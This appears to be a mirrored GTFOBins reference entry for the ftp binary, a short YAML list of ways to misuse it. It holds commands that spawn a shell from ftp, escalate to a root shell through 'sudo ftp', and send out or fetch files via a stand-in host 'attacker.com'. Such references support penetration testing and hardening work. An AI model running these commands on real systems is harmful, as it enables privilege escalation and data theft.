mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
24 lines
418 B
Markdown
24 lines
418 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: |
|
|
ftp
|
|
!/bin/sh
|
|
upload:
|
|
- description: Send local file to a FTP server.
|
|
code: |
|
|
RHOST=attacker.com
|
|
ftp $RHOST
|
|
put file_to_send
|
|
download:
|
|
- description: Fetch a remote file from a FTP server.
|
|
code: |
|
|
RHOST=attacker.com
|
|
ftp $RHOST
|
|
get file_to_get
|
|
sudo-enabled:
|
|
- code: |
|
|
sudo ftp
|
|
!/bin/sh
|
|
---
|